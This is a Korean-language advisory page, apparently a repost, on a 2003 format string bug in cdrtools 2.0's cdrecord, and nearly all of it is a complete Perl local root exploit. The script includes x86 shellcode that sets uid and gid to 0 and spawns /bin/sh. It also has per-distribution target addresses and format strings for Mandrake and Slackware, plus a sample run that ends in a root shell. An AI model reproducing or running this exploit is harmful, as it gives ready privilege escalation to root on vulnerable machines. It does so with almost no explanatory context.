CDRTOOLS 2.0 포맷스트링 공격코드

발표날짜 :
2003.05.15

공격유형 :
로컬

위험도 :
상

문제점 :
cdrtools2.0 에서 포맷스트링 버그와 libscg/scsiopen.c 273번째 줄에서 버그가 발견되어 주의를 요하고 있다.

공격법 / 공격용 소스코드 :
#!/usr/bin/perl

###########################################################

#Priv8security.com Cdrecord version 2.0 and < local root exploit.

#

# Version 1.10 is NOT VULN!!!!

#

# [wsxz@localhost buffer]$ perl priv8cdr.pl 4

# Using target number 4

# Using Mr .dtors 0x808c82c

# Cdrecord 2.0 (i586-mandrake-linux-gnu) Copyright (C) 1995-2002 Jorg Schilling

# scsidev: '1A1U?1UO?Ie^1AFF

# ?

# oV

# I1UO@IeUyyy/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'

# devname: '1A1U?1UO?Ie^1AFF

# ?

# oV

# I1UO@IeUyyy/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n'

# scsibus: -1 target: -1 lun: -1

# Warning: Open by 'devname' is unintentional and not supported.

# /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open SCSI driver.

# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you are root.

# /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord dev=help'.

# sh-2.05b# id

# uid=0(root) gid=0(root) groups=503(wsxz)

# sh-2.05b#

#####################################################



$shellcode =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".

"\xff\xff/bin/sh";



$cdrecordpath = "/usr/bin/cdrecord";

$nop = "\x90"; # x86 NOP

$offset = 0; # Default offset to try.





if (@ARGV == 1 || @ARGV == 2) {

$target = $ARGV[0];

$offset = $ARGV[1];

}else{

printf(" Priv8security.com Cdrecord local root exploit!!\n");

printf(" usage: $0 target\n");

printf(" List of targets:\n");

printf(" 1 - Linux Mandrake 8.2 Cdrecord 1.11a15\n");

printf(" 2 - Linux Mandrake 9.0 Cdrecord 1.11a32\n");

printf(" 3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by default!!!\n");

printf(" 4 - Linux Mandrake 9.1 Cdrecord 2.0\n");

exit(1);

}



if ( $target eq "1" ) {

$retword = 0x0807af38; #Mr .dtors ;)

$fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";

}

if ( $target eq "2" ) {

# $retword = 0x08084578; #.dtors

$retword = 0x08084684; #.GOT exit

$fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";

}

if ( $target eq "3" ) {

$retword = 0x0807f658;

$fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";

}

if ( $target eq "4" ) {

$retword = 0x0808c82c; #.GOT exit

$fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";

}



printf("Using target number %d\n", $target);

printf("Using Mr .dtors 0x%x\n",$retword);



$new_retword = pack('l', ($retword));

$new_retshell = pack('l', ($retshell));

$buffer2 = $new_retword;

$buffer2 .= $nop x 150;

$buffer2 .= $shellcode;

$buffer2 .= $fmtstring;



exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");


출처: http://www.hackersnews.org